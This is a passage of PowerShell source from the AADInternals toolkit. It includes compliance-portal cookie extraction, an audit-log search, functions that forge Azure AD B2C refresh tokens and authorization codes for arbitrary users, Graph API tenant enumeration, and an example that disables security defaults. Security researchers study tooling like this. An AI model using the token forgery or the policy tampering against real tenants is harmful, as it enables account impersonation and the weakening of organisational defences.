$response = Invoke-WebRequest -UseBasicParsing -Uri $xmlForm.form.action -body $body -WebSession $WebSession -Method post -MaximumRedirection 1 -ErrorAction SilentlyContinue
}
}
# Dispose the form
$form.Dispose()
# Extract the required cookies (sccauth & XSRF-TOKEN)
$cookies = $WebSession.cookies.GetCookies("https://compliance.microsoft.com")
$attributes = [ordered]@{
"sccauth" = $cookies["sccauth" ].value
"XSRF-TOKEN" = $cookies["XSRF-TOKEN"].value
}
# Return
New-Object psobject -Property $attributes
}
}
# Aug 31st
# Searches UnifiedAuditLog
function Search-UnifiedAuditLog
{
<#
.SYNOPSIS
Searches Unified Audit Log
.DESCRIPTION
Searches Unified Audit Log using https://compliance.microsoft.com/api
.Parameter Cookies
Compliance API cookies. A PSObject with sccauth and XSRF-TOKEN properties.
.Parameter Start
Start time (date) of the search. Defaults to current date - 1 day.
.Parameter End
Start time (date) of the search. Defaults to current date.
.Parameter All
If provided, returns all results (max 50100)
.Parameter IpAddresses
List of IP addresses to search.
.Parameter Operations
List of operations to search. The list of available operations: https://docs.microsoft.com/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance#audited-activities
.Parameter Target
The target file, folder, or site. Url or a part of it withouth spaces.
.Parameter Users
List of users to search. UPNs and partial UPNs seem to work.
.Example
PS C:\>$cookies = Get-AADIntComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | Set-Content auditlog.json
.Example
PS C:\>$cookies = Get-ComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | ConvertTo-Csv | Set-Content auditlog.csv
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[psobject]$Cookies,
[Parameter(Mandatory=$False)]
[datetime]$Start = (Get-Date).AddDays(-1),
[Parameter(Mandatory=$False)]
[datetime]$End = (Get-Date),
[Parameter(Mandatory=$False)]
[switch]$All,
[Parameter(Mandatory=$False)]
[string[]]$IpAddresses,
[Parameter(Mandatory=$False)]
[string]$Target,
[Parameter(Mandatory=$False)]
[string[]]$Operations,
[Parameter(Mandatory=$False)]
[string[]]$Users
)
Process
{
$body=@{
"newSession" = $true
"optin" = $true
"sessionId" = [uint64]((Get-Date).ToUniversalTime() - $epoch).totalmilliseconds
"startDate" = "$($Start.ToString("yyyy-MM-dd")) 00:00:00 +0000"
"endDate" = "$( $End.ToString("yyyy-MM-dd")) 00:00:00 +0000"
"ipAddresses" = $IpAddresses -join ","
"targetObject" = $Target
"operations" = $Operations -join ","
"users" = $Users -join ","
}
do
{
# Invoke the request
$results = Invoke-ComplianceAPIRequest -Cookies $Cookies -api "UnifiedAuditLog" -Method POST -Body ($body|ConvertTo-Json)
# Change the newSession to false to fetch rest of the events
$body["newSession"] = $false
# Verbose
Write-Verbose "Received: $($results[$results.count-1].ResultIndex)/$($results[$results.count-1].ResultCount)"
# Return
$results
} # If -All switch used, loop until all results received
while($All -and $results[$results.count-1].ResultIndex -lt $results[$results.count-1].ResultCount)
}
} |
B2C.ps1 | AADInternals-0.9.4 | # Creates a new B2CToken
# Sep 12th 2023
Function New-B2CToken
{
[cmdletbinding()]
param(
[Parameter(Mandatory=$True)]
[string]$Tenant,
[Parameter(Mandatory=$True)]
[string]$Policy,
[Parameter(Mandatory=$True)]
[guid]$ClientId,
[Parameter(Mandatory=$True)]
[guid]$UserId,
[Parameter(Mandatory=$False)]
[ValidateSet("authorization_code","refresh_token")]
[string]$Type = "refresh_token",
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.RSA]$PublicKey,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$False)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[string]$KeyId,
[Parameter(Mandatory=$False)]
[System.Collections.Hashtable]$Claims,
[Parameter(Mandatory=$True)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$True)]
[DateTime]$ExpiresOn
)
process
{
# Get the public key from certificate if not provided
if(!$PublicKey)
{
# Load certificate if not provided
if(!$Certificate)
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
$PublicKey = $Certificate.PublicKey.Key
}
# Get the tenant name
if(($parts = $Tenant.Split(".")).Count -gt 1)
{
$Tenant = $parts[0]
}
# Type
# 1 = authorization_code
# 2 = refresh_token
$t = 1
if($Type -eq "refresh_token")
{
$t = 2
}
# Create the claims block
$claimValues = @()
if($Claims)
{
foreach($key in $Claims.Keys)
{
$claimValues += @{
"claimTypeId" = $key
"value" = $Claims[$key]
}
}
}
# Create the token (minimal working)
$B2Ctoken = [ordered]@{
"tid" = "$Tenant.onmicrosoft.com"
"pid" = $Policy
"t" = $t
"cls" = @{
"`$id" = "1"
"`$values" = $claimValues
}
"o_aud" = $ClientId.ToString()
"o_iat" = [int]($NotBefore-$epoch).TotalSeconds
"iat" = [int]($NotBefore-$epoch).TotalSeconds
"exp" = [int]($ExpiresOn-$epoch).TotalSeconds
"avm" = "V2.0"
"rcc" = $true
"uid" = $UserId
}
# Create the payload: convert to unicode and deflate
$payload = Get-DeflatedByteArray -byteArray ([text.encoding]::Unicode.getBytes( ($B2Ctoken | ConvertTo-Json -Depth 10 -Compress )))
# Create the header
$header = [ordered]@{
"kid"="$KeyId"
"ver"="1.0"
"zip"= "Deflate"
"ser" ="1.0"
}
# Create the JWE
New-JWE -PublicKey $publicKey -Payload $payload -Header ($header | ConvertTo-Json -Depth 10 -Compress)
}
}
# Creates a new B2C refresh token
# Sep 12th 2023
Function New-B2CRefreshToken
{
<#
.SYNOPSIS
Creates a new B2C refresh token using the provided public key.
.DESCRIPTION
Creates a new B2C refresh token using the provided public key.
.Parameter Certificate
A certificate which public key is used to encrypt the refresh token.
.PARAMETER Claims
A hashtable of claims (key & value) to be added to the refresh token.
.PARAMETER ClientId
Client id of the application
.PARAMETER ExpiresOn
Date time when the refresh token expires
.PARAMETER KeyId
Id of the public key.
.PARAMETER NotBefore
Date time after when the refresh token is active
.PARAMETER PfxFileName
File name of the certificate .pfx file
.PARAMETER PfxPassword
Password of the certificate .pfx file
.PARAMETER Policy
Policy id of the Identity Experience Framework policy.
.PARAMETER Tenant
Name of the B2C (without .b2clogin.com)
.PARAMETER UserId
User's Entra ID object ID
.Example
$keys = Get-AADIntB2CEncryptionKeys
PS C:\>$refresh_token = New-AADIntB2CRefreshToken -Tenant "companyb2c" -ClientId "00364d2a-695e-49e6-b5ef-377276103dc2" -UserId "910e4c2f-1396-434c-aa8e-1bcf8883376a" -Policy "B2C_1A_signup_signin" -PublicKey $keys[1].Key -KeyId $keys[1].Id
#>
[cmdletbinding()]
param(
[Parameter(Mandatory=$True)]
[string]$Tenant,
[Parameter(Mandatory=$True)]
[string]$Policy,
[Parameter(Mandatory=$True)]
[guid]$ClientId,
[Parameter(Mandatory=$True)]
[guid]$UserId,
[Parameter(ParameterSetName='PublicKey',Mandatory=$True)]
[System.Security.Cryptography.RSA]$PublicKey,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[string]$KeyId,
[Parameter(Mandatory=$False)]
[System.Collections.Hashtable]$Claims,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore = ((Get-Date).ToUniversalTime()),
[Parameter(Mandatory=$False)]
[DateTime]$ExpiresOn = ($NotBefore.AddDays(14))
)
process
{
$arguments = @{
"Tenant" = $Tenant
"ClientId" = $ClientId
"UserId" = $UserId
"Policy" = $Policy
"Certificate" = $Certificate
"PfxFileName" = $PfxFileName
"PfxPassword" = $PfxPassword
"KeyId" = $KeyId
"Type" = "refresh_token"
"Claims" = $Claims
"NotBefore" = $NotBefore
"ExpiresOn" = $ExpiresOn
"PublicKey" = $PublicKey
}
New-B2CToken @arguments
}
}
# Creates a new B2C refresh token
# Sep 12th 2023
Function New-B2CAuthorizationCode
{
<#
.SYNOPSIS
Creates a new B2C authorization code using the provided public key.
.DESCRIPTION
Creates a new B2C authorization code using the provided public key.
.Parameter Certificate
A certificate which public key is used to encrypt the authorization code.
.PARAMETER Claims
A hashtable of claims (key & value) to be added to the authorization code.
.PARAMETER ClientId
Client id of the application
.PARAMETER ExpiresOn
Date time when the authorization code expires
.PARAMETER KeyId
Id of the public key.
.PARAMETER NotBefore
Date time after when the authorization code is active
.PARAMETER PfxFileName
File name of the certificate .pfx file
.PARAMETER PfxPassword
Password of the certificate .pfx file
.PARAMETER Policy
Policy id of the Identity Experience Framework policy.
.PARAMETER Tenant
Name of the B2C (without .b2clogin.com)
.PARAMETER UserId
User's Entra ID object ID
.Example
$keys = Get-AADIntB2CEncryptionKeys
PS C:\>$authorization_code = New-AADIntB2CAuthorizationCode -Tenant "companyb2c" -ClientId "00364d2a-695e-49e6-b5ef-377276103dc2" -UserId "910e4c2f-1396-434c-aa8e-1bcf8883376a" -Policy "B2C_1A_signup_signin" -PublicKey $keys[1].Key -KeyId $keys[1].Id
#>
[cmdletbinding()]
param(
[Parameter(Mandatory=$True)]
[string]$Tenant,
[Parameter(Mandatory=$True)]
[string]$Policy,
[Parameter(Mandatory=$True)]
[guid]$ClientId,
[Parameter(Mandatory=$True)]
[guid]$UserId,
[Parameter(ParameterSetName='PublicKey',Mandatory=$True)]
[System.Security.Cryptography.RSA]$PublicKey,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[string]$KeyId,
[Parameter(Mandatory=$False)]
[System.Collections.Hashtable]$Claims,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore = ((Get-Date).ToUniversalTime()),
[Parameter(Mandatory=$False)]
[DateTime]$ExpiresOn = ($NotBefore.AddDays(14))
)
process
{
$arguments = @{
"Tenant" = $Tenant
"ClientId" = $ClientId
"UserId" = $UserId
"Policy" = $Policy
"Certificate" = $Certificate
"PfxFileName" = $PfxFileName
"PfxPassword" = $PfxPassword
"KeyId" = $KeyId
"Type" = "authorization_code"
"Claims" = $Claims
"NotBefore" = $NotBefore
"ExpiresOn" = $ExpiresOn
"PublicKey" = $PublicKey
}
New-B2CToken @arguments
}
} |
GraphAPI.ps1 | AADInternals-0.9.4 | # This script contains functions for Graph API at https://graph.windows.net
# Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API
function Get-AADUsers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$SearchString,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
if(![string]::IsNullOrEmpty($SearchString))
{
$queryString="`$filter=(startswith(displayName,'$SearchString') or startswith(userPrincipalName,'$SearchString'))"
}
elseif(![string]::IsNullOrEmpty($UserPrincipalName))
{
$queryString="`$filter=userPrincipalName eq '$UserPrincipalName'"
}
$results=Call-GraphAPI -AccessToken $AccessToken -Command users -QueryString $queryString
return $results
}
}
# Gets the tenant details
function Get-TenantDetails
{
<#
.SYNOPSIS
Extract tenant details using the given Access Token
.DESCRIPTION
Extract tenant details using the given Access Token
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntTenantDetails -AccessToken $token
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command tenantDetails
# Verbose
Write-Verbose "TENANT INFORMATION: $($response.value | Out-String)"
# Return
$response
}
}
# Gets the tenant devices
# Jun 24th 2020
function Get-Devices
{
<#
.SYNOPSIS
Extracts tenant devices using the given Access Token
.DESCRIPTION
Extracts tenant devices using the given Access Token
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntDevices -AccessToken $token
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command devices -QueryString "`$expand=registeredOwner"
# Return
$response
}
}
# Gets detailed information about the given user
# Jun 24th 2020
function Get-UserDetails
{
<#
.SYNOPSIS
Extracts detailed information of the given user
.DESCRIPTION
Extracts detailed information of the given user
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Parameter UserPrincipalName
The user principal name of the user whose details is to be extracted
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserDetails -AccessToken $token
odata.type : Microsoft.DirectoryServices.User
objectType : User
objectId : cd5676ad-ba80-4782-bdcb-ff5de37fc347
deletionTimestamp :
acceptedAs :
acceptedOn :
accountEnabled : True
ageGroup :
alternativeSecurityIds : {}
signInNames : {[email protected]}
signInNamesInfo : {}
appMetadata :
assignedLicenses : {@{disabledPlans=System.Object[]; skuId=c7df2760-2c81-4ef7-b578-5b5392b571df}, @{disabledPlans=System.Object[]; skuId=b05e124f-c7cc-45a0-a6aa-8cf78c946968}}
assignedPlans : {@{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=MultiFactorService; servicePlanId=8a256a2b-b617-496d-b51b-e76466e88db0}, @{assignedTimestamp=2019-12-02T07
:41:59Z; capabilityStatus=Enabled; service=exchange; servicePlanId=34c0d7a0-a70f-4668-9238-47f9fc208882}, @{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=P
owerBI; servicePlanId=70d33638-9c74-4d01-bfd3-562de28bd4ba}, @{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=WhiteboardServices; servicePlanId=4a51bca5-1ef
f-43f5-878c-177680f191af}...}
city :
cloudAudioConferencingProviderInfo : <acpList>
<acpInformation default="true">
<tollNumber>18728886261</tollNumber>
<participantPassCode>0</participantPassCode>
<domain>resources.lync.com</domain>
<name>Microsoft</name>
<url>https://dialin.lync.com/c73270cd-afd0-4f70-8328-747f36508d85</url>
</acpInformation>
</acpList>
cloudMSExchRecipientDisplayType : 1073741824
cloudMSRtcIsSipEnabled : True
cloudMSRtcOwnerUrn :
...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$UserPrincipalName
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName"
# Return
$response
}
}
# Gets tenant's Azure AD settings
# Jun 24th 2020
function Get-Settings
{
<#
.SYNOPSIS
Extracts Azure AD settings
.DESCRIPTION
Extracts Azure AD settings
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntSettings -AccessToken $token
id displayName templateId values
-- ----------- ---------- ------
8b16b029-bb31-48c8-b4df-5ee419596688 Password Rule Settings 5cf42378-d67d-4f36-ba46-e8b86229381d {@{name=BannedPasswordCheckOnPremisesMode; value=Audit}, @{name=EnableBannedPasswordCheckOnPremises; value=True}, @{name=En...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command "settings"
# Return
$response
}
}
# Gets tenant's OAuth grants
# Jun 24th 2020
function Get-OAuthGrants
{
<#
.SYNOPSIS
Extracts Azure AD OAuth grants
.DESCRIPTION
Extracts Azure AD OAuth grants
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntOAuthGrants -AccessToken $token
id displayName templateId values
-- ----------- ---------- ------
8b16b029-bb31-48c8-b4df-5ee419596688 Password Rule Settings 5cf42378-d67d-4f36-ba46-e8b86229381d {@{name=BannedPasswordCheckOnPremisesMode; value=Audit}, @{name=EnableBannedPasswordCheckOnPremises; value=True}, @{name=En...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
$response=Call-GraphAPI -AccessToken $AccessToken -Command "oauth2PermissionGrants"
# Return
$response
}
}
# Gets tenant's service principals
# Jun 24th 2020
function Get-ServicePrincipals
{
<#
.SYNOPSIS
Extracts Azure AD service principals
.DESCRIPTION
Extracts Azure AD service principals. If client id(s) are provided, show detailed information.
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Parameter ClientIds
List of client ids to get detailed information.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntServicePrincipals
AccountEnabled : true
Addresses :
AppPrincipalId : d32c68ad-72d2-4acb-a0c7-46bb2cf93873
DisplayName : Microsoft Activity Feed Service
ObjectId : 321e7bdd-d7b0-4a64-8eb3-38c259c1304a
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : 0000000c-0000-0000-c000-000000000000
DisplayName : Microsoft App Access Panel
ObjectId : a9e03f2f-4471-41f2-96c5-589d5d7117bc
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses :
AppPrincipalId : dee7ba80-6a55-4f3b-a86c-746a9231ae49
DisplayName : Microsoft AppPlat EMA
ObjectId : ae0b81fc-c521-4bfd-9eaa-04c520b4b5fd
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : 65d91a3d-ab74-42e6-8a2f-0add61688c74
DisplayName : Microsoft Approval Management
ObjectId : d8ec5b95-e5f6-416e-8e7c-c6c52ec5a11f
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String[]]$ClientIds
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# If client id(s) are provided, get only those (with extra information)
if($ClientIds)
{
$body = @{
"appIds" = $ClientIds
}
# Call the API
Call-GraphAPI -AccessToken $AccessToken -Command "getServicePrincipalsByAppIds" -Body ($body | ConvertTo-Json) -Method Post -QueryString "`$Select="
}
else
{
# Call the Provisioning API
Get-ServicePrincipals2 -AccessToken $AccessToken
}
}
}
# Gets tenant's conditional access policies
# Apr 8th 2021
function Get-ConditionalAccessPolicies
{
<#
.SYNOPSIS
Shows conditional access policies.
.DESCRIPTION
Shows conditional access policies.
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntConditionalAccessPolicies
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : 1a6a3b84-7d6d-4398-9c26-50fab315be8b
deletionTimestamp :
displayName : Default Policy
keyCredentials : {}
policyType : 18
policyDetail : {{"Version":0,"State":"Disabled"}}
policyIdentifier : 2022-11-18T00:16:20.2379877Z
tenantDefaultPolicy : 18
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : 7f6ac8e5-bd21-4091-ae4c-0e48e0f4db04
deletionTimestamp :
displayName : Block NestorW
keyCredentials : {}
policyType : 18
policyDetail : {{"Version":1,"CreatedDateTime":"2022-11-18T00:16:19.461967Z","State":"Enabled
","Conditions":{"Applications":{"Include":[{"Applications":["None"]}]},"Users"
:{"Include":[{"Users":["8ab3ed0d-6668-49f7-a108-c50bb230c870"]}]}},"Controls":
[{"Control":["Block"]}],"EnforceAllPoliciesForEas":true,"IncludeOtherLegacyCli
entTypeForEvaluation":true}}
policyIdentifier :
tenantDefaultPolicy :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Return conditional access policies
Get-AzureADPolicies -AccessToken $AccessToken | Where policyType -eq 18
}
}
# Gets tenant's Azure AD Policies
# Nov 17th 2022
function Get-AzureADPolicies
{
<#
.SYNOPSIS
Shows Azure AD policies.
.DESCRIPTION
Shows Azure AD policies.
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntAzureADPolicies
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : e35e4cd3-53f8-4d65-80bb-e3279c2c1b71
deletionTimestamp :
displayName : On-Premise Authentication Flow Policy
keyCredentials : {**}
policyType : 8
policyDetail : {**}
policyIdentifier :
tenantDefaultPolicy : 8
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : 259b810f-fb50-4e57-925b-ec2292c17883
deletionTimestamp :
displayName : 2/5/2021 5:53:07 AM
keyCredentials : {}
policyType : 10
policyDetail : {{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"I
sEnabled":false}}}}
policyIdentifier :
tenantDefaultPolicy : 10
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Call the API
Call-GraphAPI -AccessToken $AccessToken -Command "policies" -Method Get
}
}
# Gets tenant's Azure AD Policies
# Nov 17th 2022
function Set-AzureADPolicyDetails
{
<#
.SYNOPSIS
Sets Azure AD policy details.
.DESCRIPTION
Sets Azure AD policy details.
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.PARAMETER ObjectId
Object ID of the policy
.PARAMETER PolicyDetail
Policy details.
.PARAMETER DisplayName
New displayname of the policy
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Set-AADIntAzureADPolicyDetail -ObjectId "e35e4cd3-53f8-4d65-80bb-e3279c2c1b71" -PolicyDetail '{{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"IsEnabled":false}}}}'
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Set-AADIntAzureADPolicyDetail -ObjectId "e35e4cd3-53f8-4d65-80bb-e3279c2c1b71" -PolicyDetail '{{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"IsEnabled":false}}}}' -displayName "My Policy"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[Guid]$ObjectId,
[Parameter(Mandatory=$True)]
[String]$PolicyDetail,
[Parameter(Mandatory=$False)]
[String]$DisplayName
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$body = @{
"policyDetail" = @($PolicyDetail)
}
if(![string]::IsNullOrEmpty($DisplayName))
{
$body["displayName"] = $DisplayName
}
# Call the API
Call-GraphAPI -AccessToken $AccessToken -Command "policies/$($ObjectId)" -Method Patch -Body ($body | ConvertTo-Json)
}
}
# Get Azure AD features
# Aug 23 2023
function Get-AzureADFeatures
{
<#
.SYNOPSIS
Show the status of Azure AD features.
.DESCRIPTION
Show the status of Azure AD features using Azure AD Graph internal API.
Requires Global Administrator role
.Parameter AccessToken
Access Token
.Example
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntAzureADFeatures
Feature Enabled
------- -------
AllowEmailVerifiedUsers True
AllowInvitations True
AllowMemberUsersToInviteOthersAsMembers False
AllowUsersToChangeTheirDisplayName False
B2CFeature False
BlockAllTenantAuth False
ConsentedForMigrationToPublicCloud False
CIAMFeature False
CIAMTrialFeature False
CIAMTrialUpgrade False
EnableExchangeDualWrite False
EnableHiddenMembership False
EnableSharedEmailDomainApis False
EnableWindowsLegacyCredentials False
EnableWindowsSupplementalCredentials False
ElevatedGuestsAccessEnabled False
ExchangeDualWriteUsersV1 False
GuestsCanInviteOthersEnabled True
InvitationsEnabled True
LargeScaleTenant False
TestTenant False
USGovTenant False
DisableOnPremisesWindowsLegacyCredentialsSync False
DisableOnPremisesWindowsSupplementalCredentialsSync False
RestrictPublicNetworkAccess False
AutoApproveSameTenantRequests False
RedirectPpeUsersToMsaInt False
LegacyTlsExceptionForEsts False
LegacyTlsBlockForEsts False
TenantAuthBlockReasonFraud False
TenantAuthBlockReasonLifecycle False
TenantExcludeDeprecateAADLicenses False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Begin
{
$features = @(
"AllowEmailVerifiedUsers"
"AllowInvitations"
"AllowMemberUsersToInviteOthersAsMembers"
"AllowUsersToChangeTheirDisplayName"
"B2CFeature"
"BlockAllTenantAuth"
"ConsentedForMigrationToPublicCloud"
"CIAMFeature"
"CIAMTrialFeature"
"CIAMTrialUpgrade"
"EnableExchangeDualWrite"
"EnableHiddenMembership"
"EnableSharedEmailDomainApis"
"EnableWindowsLegacyCredentials"
"EnableWindowsSupplementalCredentials"
"ElevatedGuestsAccessEnabled"
"ExchangeDualWriteUsersV1"
"GuestsCanInviteOthersEnabled"
"InvitationsEnabled"
"LargeScaleTenant"
"TestTenant"
"USGovTenant"
"DisableOnPremisesWindowsLegacyCredentialsSync"
"DisableOnPremisesWindowsSupplementalCredentialsSync"
"RestrictPublicNetworkAccess"
"AutoApproveSameTenantRequests"
"RedirectPpeUsersToMsaInt"
"LegacyTlsExceptionForEsts"
"LegacyTlsBlockForEsts"
"TenantAuthBlockReasonFraud"
"TenantAuthBlockReasonLifecycle"
"TenantExcludeDeprecateAADLicenses"
)
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$retVal = @()
# Loop through the features
foreach($feature in $features)
{
try
{
$value = Get-AzureADFeature -AccessToken $AccessToken -Feature $feature
$retVal += [pscustomobject][ordered]@{
"Feature" = $feature
"Enabled" = $value
}
}
catch
{
}
}
$retVal
}
}
# Get Azure AD feature status
# Aug 23 2023
function Get-AzureADFeature
{
<#
.SYNOPSIS
Show the status of given Azure AD feature.
.DESCRIPTION
Show the status of given Azure AD feature using Azure AD Graph internal API.
Requires Global Administrator role
.Parameter AccessToken
Access Token
.PARAMETER Feature
The name of the feature. Should be one of:
AllowEmailVerifiedUsers
AllowInvitations
AllowMemberUsersToInviteOthersAsMembers
AllowUsersToChangeTheirDisplayName
B2CFeature
BlockAllTenantAuth
ConsentedForMigrationToPublicCloud
CIAMFeature
CIAMTrialFeature
CIAMTrialUpgrade
EnableExchangeDualWrite
EnableHiddenMembership
EnableSharedEmailDomainApis
EnableWindowsLegacyCredentials
EnableWindowsSupplementalCredentials
ElevatedGuestsAccessEnabled
ExchangeDualWriteUsersV1
GuestsCanInviteOthersEnabled
InvitationsEnabled
LargeScaleTenant
TestTenant
USGovTenant
DisableOnPremisesWindowsLegacyCredentialsSync
DisableOnPremisesWindowsSupplementalCredentialsSync
RestrictPublicNetworkAccess
AutoApproveSameTenantRequests
RedirectPpeUsersToMsaInt
LegacyTlsExceptionForEsts
LegacyTlsBlockForEsts
TenantAuthBlockReasonFraud
TenantAuthBlockReasonLifecycle
TenantExcludeDeprecateAADLicenses
.Example
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntAzureADFeature -Feature "B2CFeature"
True
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
